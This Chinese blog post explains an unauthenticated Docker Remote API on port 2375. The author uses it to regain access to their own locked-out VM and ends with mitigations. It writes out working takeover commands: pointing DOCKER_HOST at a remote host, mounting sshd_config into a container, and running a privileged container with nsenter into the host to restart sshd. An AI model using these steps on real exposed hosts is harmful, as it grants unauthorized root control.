Docker Remote API 越权漏洞

Docker Remote API 越权漏洞

前些日子,由于公司安全检测,扫出了我一台虚机有高危漏洞。
但是,这个目标机器吧,被我改了SSH配置(/etc/ssh/sshd_config),已经无法登录:

UsePAM no # 默认配置为 yes,表示是否允许 PAM 验证,关闭后,ssh无法登录

所以说,漏洞基本无法修复。那这个漏洞是什么呢,公司内部叫做 Docker Remote API 未验证

究竟要说些什么?

我发现通过这个漏洞,可以越权获取 Docker 所在宿主机的 Docker 拥有的最高权限。

简单来说,如果 Docker 的启动用户组为 root, 则我可以获取 root 权限。

远程 RemoteAPI 端口

Docker 启动后可以指定除了本地 unix.socket 以外,还可以指定监听 IP:端口。该端口可以认为完全等效于 unix.socket
我们都知道,Docker cli 本质上是通过本地网络请求实现与 Dockerd 通信的,因此借助该端口,我们可以在宿主机之外调用 Docker

怎么使用 RemoteAPI 端口

加入目标 Docker 宿主机 IP 为 10.200.1.1,并且 Dockerd 监听了 0.0.0.0:2375 端口。

本地指定 Docker-cli 发送指令的地址:

export DOCKER_HOST=10.200.1.1:2375

调用 Docke API 下载指定镜像

docker pull busybox:latest

你会发现,本地并没有下载该镜像,但是 10.200.1.1 已经下载了相关的镜像数据。

明白了这些,你大概就已经知道,这有多么危险了。

Docker远程调用API的过程中,没有任何认证用户的流程,也就代表着,任何能够连接到 10.200.1.1 的用户都可以直接连接并控制目标机器。

拿到了 RemoteAPI 的权限,我们可以做些什么?

先说结论:如果Docker启动用户为 ROOT,表示着你已经拥有该机器的完整控制权了。

如何操作?

Docker 特权容器 --privileged

官方文档:

https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities
When the operator executes docker run --privileged, Docker will enable access to all devices on the host as well as set some configuration in AppArmor or SELinux to allow the container nearly all the same access to the host as processes running outside containers on the host.

意思就是特权容器完全近似于直接运行于宿主机中,而不是明显被隔离的容器中。

我干了啥

这里用/etc/ssh/sshd_config文件作为目标侵入文件。

这里不需要特权容器
docker run -it -v /etc/ssh/sshd_config:/home/sshd_config busybox:latest

此时你可以编辑并保存该文件。

或者你可以直接将自己的公·私钥放入服务器内,可以直接跳过 ssh 的密码验证。
但是大部分服务器都会关闭 ssh 远程访问,所以这里挂载并修改 ssh 配置文件。

保存后,需要重启 sshd 服务,这时就需要特权容器了。

docker run -it --privileged -v /proc:/host/proc busybox:latest
# 容器内直接调用 systemd 重启 sshd
nsenter --mount=/host/proc/1/ns/mnt sh -c "systemctl daemon-reload & systemctl restart sshd"

然后,就可以远程连接了。

为啥它很危险?

可以注意到,整个过程中我没有任何身份验证的过程。并且拥有目标机器的最高权限(Docker run by root)。

如何防治

  1. 修改 Dockerd 的启动文件或直接更新为最新启动配置:
    https://github.com/moby/moby/blob/master/contrib/init/systemd/docker.service
  2. 不在对外监听 0.0.0.0 地址。
  3. Docker 容器内建,外部使用 Proxy 网关,不直接暴露 Docker 服务。

最后:
我最后成功的通过上述操作修正了我的机器的配置,也关闭了相关端口。

另外:
请勿作恶,小心身后的眼睛。

上一篇:Git常用指令


下一篇:HTML JAVASCRIPT CSS 大小写敏感问题